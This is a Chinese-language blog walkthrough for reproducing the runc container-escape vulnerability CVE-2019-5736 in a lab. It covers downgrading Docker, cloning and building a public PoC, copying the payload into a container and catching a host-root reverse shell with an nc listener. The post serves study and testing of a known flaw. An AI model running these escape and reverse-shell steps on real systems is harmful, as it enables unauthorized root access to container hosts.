docker逃逸漏洞(CVE-2019-5736)

1.漏洞描述

      2019年2月11日,runC的维护团队报告了一个新发现的漏洞,SUSE Linux GmbH高级软件工程师Aleksa Sarai公布了影响Docker, containerd, Podman, CRI-O等默认运行时容器runc的严重漏洞CVE-2019-5736。漏洞会对IT运行环境带来威胁,漏洞利用会触发容器逃逸、影响整个容器主机的安全,最终导致运行在该主机上的其他容器被入侵。漏洞影响AWS, Google Cloud等主流云平台。日前,该容器逃逸漏洞的PoC利用代码已在GitHub上公布。这是CVE-2019-5736漏洞利用的Go语言实现。漏洞利用是通过覆写和执行主机系统runc二进制文件完成的。

2.漏洞原理

        漏洞点在于runC,RunC是一个容器运行时,最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来。作为“低级别”容器运行时,runC主要由“高级别”容器运行时(例如Docker)用于生成和运行容器,尽管它可以用作独立工具。像Docker这样的“高级别”容器运行时通常会实现镜像创建和管理等功能,并且可以使用runC来处理与运行容器相关的任务:创建容器、将进程附加到现有容器等。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

3.利用方式

        宿主机利用攻击者提供的image来创建一个新的container 。拥有container root权限,并且该container后续被docker exec attach。一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

4.影响版本

docker version <=18.09.2

RunC version <=1.0-rc6

5.POC

下载地址:https://github.com/Frichetten/CVE-2019-5736-PoC

6.环境准备

Kali

192.168.42.138

Ubuntu

192.168.42.145

安装docker版本:18.06.1-ce

安装runc版本:1.0.0-rc5

7.漏洞复现

卸载已将安装的docker

sudo apt-get remove docker docker-engine docker-ce docker.io

列出docker可用版本

apt-cache madison docker-ce

选择一个版本来安装

sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

启动docker并查看docker和runc版本

sudo systemctl start docker

docker –v

docker-runc -v

下载CVE-2019-5736漏洞POC

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

修改payload

编译生成payload(需要go环境),生成可执行脚本main

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

新启动一个终端,编译运行一个漏洞环境(以CVE-2016-4437为例)

执行如下命令将刚刚生成的main脚本拷到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

docker cp /home/szg/CVE-2019-5736-PoC/main ffe2c7c25e89:/home

执行如下命令,进入容器,查看脚本是否拷进容器,启动main脚本

docker exec -it ffe2c7c25e89 /bin/sh

PS:第一次进入必须用sh启动

Kali开启nc监听

nc –lvp 1919

新启动一个终端,执行如下命令再次进入容器,触发payload,成功反弹shell,此时权限为服务器权限,docker逃逸成功

docker exec -it ffe2c7c25e89 /bin/bash

PS

执行ifconfig命令证明docker逃逸成功,因为docker默认没有此命令;

建议提前拍好快照,漏洞复现完成会造成docker无法使用。

  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值